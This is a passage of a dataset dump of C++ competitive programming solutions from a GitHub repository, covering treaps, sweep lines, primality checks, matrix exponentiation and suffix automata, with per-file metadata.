stdin);\n\tint n;\n\tdouble g;\n\tcin >> n >> g;\n\tvector <double> d(n), a(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> d[i] >> a[i];\n\t\ta[i] = a[i] * M_PI / 180.0;\n\t}\n\tfor (int i = 0; i < n; i++) {\n\t\tdouble v = 0;\n\t\tfor (int j = i; j < n; j++) {\n\t\t\tv = sqrt(v * v + 2.0 * g * cos(a[j]) * d[j]);\n\t\t}\n\t\tcout << fixed << v << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3889511525630951, "alphanum_fraction": 0.40144115686416626, "avg_line_length": 21.74524688720703, "blob_id": "4e29bf1c31c26a40afe3a9ecdfdeb9e135612aff", "content_id": "5674dd4212ea2796196e7558719dc42366d70b96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6245, "license_type": "no_license", "max_line_length": 104, "num_lines": 263, "path": "/Caribbean-Training-Camp-2017/Contest_1/Solutions/F1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int oo = 1000 * 1000 * 1000 + 1000;\r\n\r\ntypedef pair<int,int> par;\r\n\r\nstruct node;\r\ntypedef node* pnode;\r\nstruct node{\r\n int value;\r\n\tint min_value;\r\n\r\n\tpar key;\r\n\tint pri, siz;//prioridad y size\r\n\tpnode l, r;\r\n\r\n\tnode(par key , int value){\r\n\t\tthis->value = value;\r\n\t\tthis->min_value = value;\r\n\t\tthis->key = key;\r\n\t\tpri = rand();\r\n\t\tsiz = 1;\r\n\t\tl = NULL;\r\n\t\tr = NULL;\r\n\t}\r\n};\r\n\r\npnode root;\r\n\r\ninline int size(pnode t){\r\n\treturn t == NULL ? 0 : t->siz;\r\n}\r\n\r\ninline int min_value( pnode t ){\r\n return t == NULL ? oo : t->min_value;\r\n}\r\n\r\nvoid update(pnode t){\r\n\tif (t != NULL){\r\n\t\tt->siz = size(t->l) + size(t->r) + 1;\r\n\t\tt->min_value = min( t->value , min( min_value( t->l ) , min_value( t->r ) ) );\r\n\t}\r\n}\r\n\r\nvoid split(pnode t, par key, pnode &l, pnode &r){\r\n if(!t){ l=r=NULL; return; }\r\n if(t->key <= key)\r\n split(t->r, key, t->r, r), l = t, update(l);\r\n else split(t->l, key, l, t->l), r = t, update(r);\r\n}\r\n\r\npnode merge(pnode l, pnode r){\r\n\tpnode result = NULL;\r\n\r\n\tif (l == NULL || r == NULL) result = (l == NULL ? r : l);\r\n\telse if (l->pri > r->pri) l->r = merge(l->r, r), result = l;\r\n\telse r->l = merge(l, r->l), result = r;\r\n update(result);\r\n\r\n\treturn result;\r\n}\r\n\r\nvoid insert(par key, int value){\r\n\tpnode n = new node(key , value);\r\n\tpnode l, r;\r\n\tsplit(root, key, l, r);\r\n\troot = merge(l, n);\r\n\troot = merge(root, r);\r\n}\r\n\r\nvoid kprint( pnode t ){\r\n if( t == NULL ){\r\n return;\r\n }\r\n\r\n kprint( t->l );\r\n cerr << \"(\"<< t->key.first << '-' << t->key.second << \") \";\r\n kprint( t->r );\r\n}\r\n\r\nvoid erase( par key ){\r\n pnode l , r;\r\n split( root , key , l , r );\r\n split( l , par( key.first , key.second-1 ) , l , root );\r\n root = merge( l , r );\r\n\r\n //cerr << \"SIZE(l) = \" << size(l) << '\\n';\r\n //kprint(l);\r\n\r\n}\r\n\r\nvoid clear(){\r\n root = NULL;\r\n}\r\n\r\nstruct seg{\r\n int l, r;\r\n int p;\r\n seg(){}\r\n seg( int l, int r, int p ){\r\n this->l = l;\r\n this->r = r;\r\n this->p = p;\r\n }\r\n\r\n bool operator < ( const seg &o ) const {\r\n if( l != o.l ){\r\n return l < o.l;\r\n }\r\n\r\n return r < o.r;\r\n }\r\n};\r\n\r\nconst int MAXN = 1000100;\r\nseg segs[MAXN];\r\n\r\nint maxv = 0;\r\nint n, K;\r\nbool yes[MAXN];\r\nvector<int> erase_op[MAXN];\r\nvector<int> insert_op[MAXN];\r\n\r\nbool ok( int L ){\r\n clear();\r\n for( int i = 0; i <= maxv; i++ ){\r\n erase_op[i].clear();\r\n insert_op[i].clear();\r\n yes[i] = false;\r\n }\r\n\r\n yes[0] = true;\r\n\r\n int ind_seg = 1;\r\n\r\n for( int i = 1; i <= K; i++ ){ //cerr << \"i = \" << i << '\\n';\r\n //cerr << \"BEGIN WITH ---> SIZE == \" << size(root) << '\\n';\r\n\r\n for( int j = 0; j < insert_op[i].size(); j++ ){\r\n int id = insert_op[i][j];\r\n insert( par( segs[id].p , id ) , segs[id].r );\r\n //cerr << \" inserting ----> id = (\" << segs[id].p << \"-\" << id << \")\" << '\\n';\r\n }\r\n\r\n for( int j = 0; j < erase_op[i].size(); j++ ){\r\n int id = erase_op[i][j];\r\n //cerr << \" deleting <---- id = (\" << segs[id].p << \"-\" << id << \")\" << '\\n';\r\n erase( par( segs[id].p , id ) );\r\n }\r\n\r\n //cerr << \"END WITH ----> SIZE == \" << size(root) << '\\n';\r\n\r\n while( ind_seg <= n && segs[ind_seg].l <= i ){\r\n if( segs[ind_seg].p > L ){\r\n ind_seg++;\r\n continue;\r\n }\r\n\r\n //cerr << \"ind_seg == \" << ind_seg << '\\n';\r\n //cerr << \"l = \" << segs[ind_seg].l << \" r = \" << segs[ind_seg].r << '\\n';\r\n\r\n if( yes[i-1] ){\r\n insert_op[ segs[ind_seg].l+1 ].push_back( ind_seg );\r\n erase_op[ segs[ind_seg].r+1 ].push_back( ind_seg );\r\n yes[ segs[ind_seg].r ] = true;\r\n //cerr << \"---------kk----------->yes\\n\";\r\n }\r\n else{\r\n pnode l, r;\r\n split( root , par( L - segs[ind_seg].p , oo ) , l , r );\r\n if( l != NULL && l->min_value < segs[ind_seg].r ){\r\n insert_op[ l->min_value + 1 ].push_back( ind_seg );\r\n erase_op[ segs[ind_seg].r+1 ].push_back( ind_seg );\r\n yes[ segs[ind_seg].r ] = true;\r\n //cerr << \"----------------------->yes\\n\";\r\n }\r\n root = merge( l , r );\r\n }\r\n\r\n ind_seg++;\r\n }\r\n }\r\n\r\n return yes[K];\r\n}\r\n\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n cin >> n >> K;\r\n\r\n vector<int> vs;\r\n vs.push_back(1);\r\n vs.push_back(K);\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n cin >> segs[i].l >> segs[i].r >> segs[i].p;\r\n vs.push_back( segs[i].l );\r\n vs.push_back( max( segs[i].l-1 , 1 ) );\r\n\r\n vs.push_back( segs[i].r );\r\n vs.push_back( max( segs[i].r-1 , 1 ) );\r\n }\r\n\r\n sort( vs.begin() , vs.end() );\r\n vs.erase( unique( vs.begin() , vs.end() ), vs.end() );\r\n\r\n K = lower_bound( vs.begin() , vs.end() , K ) - vs.begin() + 1;\r\n maxv = vs.size() + 5;\r\n\r\n bool exist1 = false, existK = false;\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n segs[i].l = lower_bound( vs.begin() , vs.end() , segs[i].l ) - vs.begin() + 1;\r\n segs[i].r = lower_bound( vs.begin() , vs.end() , segs[i].r ) - vs.begin() + 1;\r\n\r\n exist1 |= (segs[i].l == 1);\r\n existK |= (segs[i].r >= K);\r\n }\r\n\r\n if( !exist1 || !existK ){\r\n cout << \"-1\\n\";\r\n return 0;\r\n }\r\n\r\n sort( segs + 1 , segs + 1 + n );\r\n\r\n /*for( int i = 1; i <= n; i++ ){\r\n cerr << segs[i].l << ' ' << segs[i].r << ' ' << segs[i].p << '\\n';\r\n }\r\n\r\n cerr << \"K = \" << K << '\\n';\r\n\r\n if( ok(5) ){\r\n cerr << \"YES\\n\";\r\n }\r\n else{\r\n cerr << \"NO\\n\";\r\n }\r\n\r\n return 0;*/\r\n\r\n int sol = -1;\r\n int ini = 1, fin = 2000000001;\r\n while( ini <= fin ){\r\n int mid = ( (long long)ini + (long long)fin ) / (long long)2; //cerr << \"mid = \" << mid << '\\n';\r\n if( ok( mid ) ){\r\n sol = mid;\r\n fin = mid-1;\r\n }\r\n else{\r\n ini = mid+1;\r\n }\r\n }\r\n\r\n cout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.3588765561580658, "alphanum_fraction": 0.3848821222782135, "avg_line_length": 19.453901290893555, "blob_id": "fd5da6311486a7bb2e321920a0d524f1a882ea0c", "content_id": "0c02ed84fa53bf24b8d26d12dcf58dfe022b763a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2884, "license_type": "no_license", "max_line_length": 66, "num_lines": 141, "path": "/Caribbean-Training-Camp-2017/Contest_3/Solutions/H3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int millon = 1000002;\nconst int MAXN = 300100;\nconst int MAX = 2000010;\n\ntypedef pair<int,int> par;\n\nvector<par> ini[MAX];\nvector<par> fin[MAX];\n\nint X1[MAXN], Y1[MAXN], X2[MAXN], Y2[MAXN];\n\nstruct menor{\n bool operator () ( const int &aa, const int &bb ) const {\n int a = aa;\n int b = bb;\n if( X1[a] == X1[b] ){\n return Y1[a] < Y1[b];\n }\n\n bool inv = false;\n if (X1[a] > X1[b]) {\n swap(a, b);\n inv = true;\n }\n\n int xv1 = X2[a] - X1[a];\n int yv1 = Y2[a] - Y1[a];\n int xv2 = X1[b] - X1[a];\n int yv2 = Y1[b] - Y1[a];\n long long c = (long long)xv1 * yv2 - (long long)xv2 * yv1;\n if (c > 0) {\n return !inv;\n }\n return inv;\n }\n};\n\nint getXCAE( int id ){\n if( Y1[id] < Y2[id] ){\n return X1[id];\n }\n\n return X2[id];\n}\n\nint go[MAXN];\nint Xgo[MAX];\n\nbool mk[MAXN];\nint sol[MAXN];\nint solve( int id ){\n if( mk[id] ){\n return sol[id];\n }\n\n mk[id] = true;\n if( go[id] == 0 ){\n sol[id] = getXCAE(id);\n }\n else{\n sol[id] = solve( go[id] );\n }\n\n return sol[id];\n}\n\nint main()\n{\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n int n; cin >> n;\n\n for( int i = 1; i <= n; i++ ){\n cin >> X1[i] >> Y1[i] >> X2[i] >> Y2[i];\n X1[i] += millon;\n Y1[i] += millon;\n X2[i] += millon;\n Y2[i] += millon;\n\n ini[ X1[i] ].push_back( par( Y1[i] , i ) );\n fin[ X2[i] ].push_back( par( Y2[i] , i ) );\n }\n\n set<int,menor> dic;\n set<int>::iterator it;\n\n for( int x = 0; x < MAX; x++ ){\n sort( ini[x].begin() , ini[x].end() );\n sort( fin[x].begin() , fin[x].end() , greater<par>() );\n\n for( int i = 0; i < ini[x].size(); i++ ){\n int id = ini[x][i].second;\n\n if( Y1[id] < Y2[id] ){//cae en ini\n it = dic.upper_bound( id );\n if( it != dic.begin() ){\n it--;\n go[id] = (*it);\n }\n }\n\n dic.insert(id);\n }\n\n if( !dic.empty() ){\n Xgo[x] = (*dic.rbegin());\n }\n\n for( int i = 0; i < fin[x].size(); i++ ){\n int id = fin[x][i].second;\n\n if( Y1[id] > Y2[id] ){//cae en fin\n it = dic.find( id );\n if( it != dic.begin() ){\n it--;\n go[id] = (*it);\n }\n }\n\n dic.erase(id);\n }\n }\n\n int m; cin >> m;\n for( int i = 0; i < m; i++ ){\n int x; cin >> x; x += millon;\n if( Xgo[x] == 0 ){\n cout << x - millon << '\\n';\n }\n else{\n cout << solve( Xgo[x] ) - millon << '\\n';\n }\n }\n}\n" }, { "alpha_fraction": 0.40549102425575256, "alphanum_fraction": 0.4551214277744293, "avg_line_length": 18.72916603088379, "blob_id": "a00ad8d7bcec355ebcd71c5852e7ba982823437d", "content_id": "66b486c9371a2a0dcd25135c9ab058b94e47a4a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 947, "license_type": "no_license", "max_line_length": 67, "num_lines": 48, "path": "/Codeforces-Gym/100753 - 2015 German Collegiate Programming Contest (GCPC 15) + POI 10-T3/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 German Collegiate Programming Contest (GCPC 15) + POI 10-T3\n// 100753K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nint val[] = {0, 1, 2, -1, -1, 5, 9, -1, 8, 6};\n\ninline bool check(LL x) {\n while (x) {\n if (val[x % 10] == -1) return false;\n x /= 10;\n }\n return true;\n}\n\ninline bool primo(LL n) {\n if (n <= 1) return false;\n if (n == 2) return true;\n if (n % 2LL == 0) return false;\n for (int i = 3; 1LL * i * i <= n; i += 2) {\n if (n % i == 0) return false;\n }\n return true;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n LL n;\n cin >> n;\n if (!check(n) || !primo(n)) {\n cout << \"no\\n\";\n return 0;\n }\n vector<int> v;\n while (n) {\n v.push_back(n % 10);\n n /= 10;\n }\n for (int i = 0; i < v.size(); i++) {\n n = 10LL * n + val[v[i]];\n }\n cout << (primo(n) ? \"yes\" : \"no\") << \"\\n\";\n}\n" }, { "alpha_fraction": 0.45390069484710693, "alphanum_fraction": 0.457446813583374, "avg_line_length": 14.588234901428223, "blob_id": "f6f53cdb472289050baaaa3c7d325d73af934fea", "content_id": "3a7654638216ced28c307d7e0e785c46aa8201f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 282, "license_type": "no_license", "max_line_length": 34, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p3725-Accepted-s1009558.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint a, b;\r\n\t\tcin >> a >> b;\r\n\t\tint g = __gcd(a, b);\r\n\t\tcout << a * b / (g * g) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.355728417634964, "alphanum_fraction": 0.40735501050949097, "avg_line_length": 15.45678997039795, "blob_id": "ab301b2b37d33422b510593d33c56a28c076d19e", "content_id": "32b0b5b9dfa129162aaed8abfa8d4f9e838510e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1414, "license_type": "no_license", "max_line_length": 55, "num_lines": 81, "path": "/COJ/eliogovea-cojAC/eliogovea-p3271-Accepted-s801307.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int sz = 4;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000007;\r\n\r\nstruct matrix {\r\n\tll m[sz + 1][sz + 1];\r\n\tll * operator [] (int x) {\r\n\t\treturn m[x];\r\n\t}\r\n\tconst ll * operator [] (const int x) const {\r\n\t\treturn m[x];\r\n\t}\r\n\tvoid O() {\r\n\t\tfor (int i = 0; i < sz; i++) {\r\n\t\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\t\tm[i][j] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvoid I() {\r\n\t\tfor (int i = 0; i < sz; i++) {\r\n\t\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\t\tm[i][j] = (i == j);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res;\r\n\tres.O();\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tfor (int k = 0; k < sz; k++) {\r\n\t\t\t\tres[i][j] += (a[i][k] * b[k][j]) % mod;\r\n\t\t\t\tres[i][j] %= mod;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, int n) {\r\n\tmatrix res;\r\n\tres.I();\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix m;\r\n\r\nll solve(int n) {\r\n\tm[0][0] = 0; m[0][1] = 0; m[0][2] = 1; m[0][3] = 1;\r\n\tm[1][0] = 1; m[1][1] = 0; m[1][2] = 0; m[1][3] = 0;\r\n\tm[2][0] = 1; m[2][1] = 1; m[2][2] = 0; m[2][3] = 0;\r\n\tm[3][0] = 0; m[3][1] = 0; m[3][2] = 1; m[3][3] = 0;\r\n\tm = power(m, n);\r\n ll res = (m[1][0] + m[1][3]) % mod;\r\n return res;\r\n}\r\n\r\nint n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tcout << solve(n) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4319419264793396, "alphanum_fraction": 0.45916515588760376, "avg_line_length": 19.19230842590332, "blob_id": "a83a97899f0df944da2228037dfc0189a933b387", "content_id": "5e229414e603d603f9584b3fd67b30f279fc2f9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 551, "license_type": "no_license", "max_line_length": 88, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2907-Accepted-s645168.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000005;\r\n\r\nint n, mx, id;\r\npair<int, int> a[MAXN];\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\twhile (scanf(\"%d\", &n) == 1) {\r\n\t\tfor (int i = 0; i < n; i++) scanf(\"%d%d\", &a[i].first, &a[i].second);\r\n\t\tsort(a, a + n);\r\n\t\tmx = -1;\r\n\t\tfor (int i = 0, p; i < n; i++) {\r\n\t\t\tp = lower_bound(a + i, a + n, make_pair(a[i].first + a[i].second, -100)) - a - i - 1;\r\n\t\t\tif (p > mx) {\r\n\t\t\t\tmx = p;\r\n\t\t\t\tid = i;\r\n\t\t\t}\r\n\t\t}\r\n\t\tprintf(\"%d %d\\n\", a[id].first, mx);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4977099299430847, "alphanum_fraction": 0.5267175436019897, "avg_line_length": 16.19444465637207, "blob_id": "1c1fb5913281d34e331ece21cf52564ae125911c", "content_id": "3daa67d4047bcbbedde64c7e4a285c955b100c66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 655, "license_type": "no_license", "max_line_length": 63, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2156-Accepted-s702052.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <iomanip>\r\n#include <cstdio>\r\n#include <cstdlib>\r\n#include <algorithm>\r\n#include <string>\r\n#include <cstring>\r\n#include <cmath>\r\n#include <vector>\r\n#include <list>\r\n#include <queue>\r\n#include <stack>\r\n#include <set>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 105;\r\n\r\nint tc, n;\r\ndouble x, p[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.tie(0);\r\n\tcout.precision(5);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n >> x;\r\n\t\tp[1] = 1.0;\r\n\t\tfor (int i = 1; i < n; i++)\r\n\t\t\tp[i + 1] = p[i] * (1.0 - x) + (1.0 - p[i]) * x;\r\n\t\tcout << fixed << x * p[n] + (1.0 - x) * (1.0 - p[n]) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35174068808555603, "alphanum_fraction": 0.3973589539527893, "avg_line_length": 17.372093200683594, "blob_id": "c75a21f26b403da61d00008705095258f5420439", "content_id": "a7f18ec16e822a4cd7a7b05b6da6ca2dc027d659", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 833, "license_type": "no_license", "max_line_length": 62, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p3476-Accepted-s904712.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1001;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline int add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) a -= MOD;\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nint n, m;\r\nint C[N + 5][N + 5];\r\n\r\nint dp[N][N][5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m;\r\n\tdp[0][0][0] = 1;\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\tfor (int j = 0; j <= m; j++) {\r\n if (i + 1 <= n) {\r\n add(dp[i + 1][j][0], mul(dp[i][j][0], n - i));\r\n add(dp[i + 1][j][0], mul(dp[i][j][1], n - i));\r\n }\r\n\t\t\tif (j + 1 <= m) {\r\n add(dp[i][j + 1][1], mul(dp[i][j][0], m - j));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\tadd(ans, dp[n][m][0]);\r\n\tadd(ans, dp[n][m][1]);\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3913043439388275, "alphanum_fraction": 0.42105263471603394, "avg_line_length": 14.068965911865234, "blob_id": "b01081be0ee063e6cddbfd37ff90cbc3d01fa7d2", "content_id": "1ef23451bbd50d431db99c4e4d0927360a78ede2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 874, "license_type": "no_license", "max_line_length": 65, "num_lines": 58, "path": "/SPOJ/SQFREE.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int N = 10 * 1000 * 1000;\n \nbool sieve[N + 10];\nint mu[N + 10];\nint sqfree[N + 10], cnt = 0;\n \nint t;\nlong long n;\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n \n\tfor (int i = 1; i <= N; i++) {\n\t\tmu[i] = 1;\n\t}\n \n\tfor (int i = 2; i <= N; i++) {\n\t\tif (!sieve[i]) {\n\t\t\tif ((long long)i * i <= N) {\n\t\t\t\tfor (int j = i * i; j <= N; j += i * i) {\n\t\t\t\t\tmu[j] = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor (int j = i; j <= N; j += i) {\n\t\t\t\tmu[j] = -mu[j];\n\t\t\t\tsieve[j] = true;\n\t\t\t}\n\t\t}\n\t}\n \n\tfor (int i = 1; i <= N; i++) {\n\t\tif (mu[i] != 0) {\n\t\t\tsqfree[cnt++] = i;\n\t\t}\n\t}\n \n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n \n\t\tlong long ans = 0;\n\t\tfor (int i = 0; i < cnt; i++) {\n\t\t\tif ((long long)sqfree[i] * sqfree[i] > n) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tans += (long long)mu[sqfree[i]] * (n / sqfree[i] / sqfree[i]);\n\t\t}\n \n\t\tcout << ans << \"\\n\";\n\t}\n \n \n}\n" }, { "alpha_fraction": 0.46440204977989197, "alphanum_fraction": 0.4820846915245056, "avg_line_length": 16.058822631835938, "blob_id": "9ae35eb2da4c6acbce71fb68909fa09692dc64c6", "content_id": "d31056ad9d0ec0d8f0881100d0d9d5ac223f4834", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2149, "license_type": "no_license", "max_line_length": 54, "num_lines": 119, "path": "/COJ/eliogovea-cojAC/eliogovea-p1208-Accepted-s1044945.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXS = 2 * 100000 + 1;\r\n\r\nint length[MAXS + 1];\r\nmap <char, int> next[MAXS + 1];\r\nint suffixLink[MAXS + 1];\r\n\r\nint size;\r\nint last;\r\n\r\nint getNew(int _length) {\r\n\tint now = size++;\r\n\tlength[now] = _length;\r\n\tnext[now] = map <char, int> ();\r\n\tsuffixLink[now] = -1;\r\n\treturn now;\r\n}\r\n\r\nint getClone(int from, int _length) {\r\n\tint now = size++;\r\n\tlength[now] = _length;\r\n\tnext[now] = next[from];\r\n\tsuffixLink[now] = suffixLink[from];\r\n\treturn now;\r\n}\r\n\r\nvoid init() {\r\n\tsize = 0;\r\n\tlast = getNew(0);\r\n}\r\n\r\nvoid add(int c) {\r\n\tint p = last;\r\n\tint cur = getNew(length[p] + 1);\r\n\twhile (p != -1 && next[p].find(c) == next[p].end()) {\r\n\t\tnext[p][c] = cur;\r\n\t\tp = suffixLink[p];\r\n\t}\r\n\tif (p == -1) {\r\n\t\tsuffixLink[cur] = 0;\r\n\t} else {\r\n\t\tint q = next[p][c];\r\n\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\tsuffixLink[cur] = q;\r\n\t\t} else {\r\n\t\t\tint clone = getClone(q, length[p] + 1);\r\n\t\t\tsuffixLink[q] = clone;\r\n\t\t\tsuffixLink[cur] = clone;\r\n\t\t\twhile (p != -1 && next[p][c] == q) {\r\n\t\t\t\tnext[p][c] = clone;\r\n\t\t\t\tp = suffixLink[p];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tlast = cur;\r\n}\r\n\r\nint freq[MAXS];\r\nint order[MAXS];\r\n\r\nvoid getOrder() {\r\n\tint maxLength = 0;\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tmaxLength = max(maxLength, length[i]);\r\n\t}\r\n\tfor (int i = 0; i <= maxLength; i++) {\r\n\t\tfreq[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tfreq[length[i]]++;\r\n\t}\r\n\tfor (int i = 1; i <= maxLength; i++) {\r\n\t\tfreq[i] += freq[i - 1];\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\torder[--freq[length[i]]] = i;\r\n\t}\r\n}\r\n\r\nlong long cnt[MAXS];\r\n\r\nstring s;\r\n\r\nvoid solve() {\r\n\twhile (cin >> s) {\r\n\t\tif (s == \"*\") {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tcnt[i] = 0;\r\n\t\t}\r\n\t\tinit();\r\n\t\tfor (int i = 0; i < s.size(); i++) {\r\n\t\t\tadd(s[i]);\r\n\t\t\tcnt[last]++;\r\n\t\t}\r\n\t\tgetOrder();\r\n\t\tfor (int i = size - 1; i > 0; i--) {\r\n\t\t\tint s = order[i];\r\n\t\t\tcnt[suffixLink[s]] += cnt[s];\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 1; i < size; i++) {\r\n\t\t\tif (cnt[i] >= 2) {\r\n\t\t\t\tans += length[i] - length[suffixLink[i]];\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tsolve();\r\n}\r\n" }, { "alpha_fraction": 0.38770052790641785, "alphanum_fraction": 0.4224599003791809, "avg_line_length": 16.700000762939453, "blob_id": "64d5a3bcacc713c295398b11ac93696783fb8b36", "content_id": "1a80e5f941295de0e252111c85ba17dec91ffbce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 374, "license_type": "no_license", "max_line_length": 38, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1634-Accepted-s640844.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n//#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, x, a[1005][15];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tfor (int j = 0; j < 10; j++) {\r\n\t\t\t\tx = (((10 * i) % n) + j) % n;\r\n\t\t\t\tcout << x << (j < 9 ? ' ' : '\\n');\r\n\t\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39955848455429077, "alphanum_fraction": 0.43267107009887695, "avg_line_length": 14.962963104248047, "blob_id": "8bb8eb0712ee47a6fa6491f06b7245bd4684272d", "content_id": "13e049f0662f9a5156eb1ac002f4f0075cbe7ca3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 453, "license_type": "no_license", "max_line_length": 39, "num_lines": 27, "path": "/Timus/1118-6163014.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1118\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000000;\r\n\r\nlong long cnt[N + 5], a, b;\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int j = i + i; j <= N; j += i) 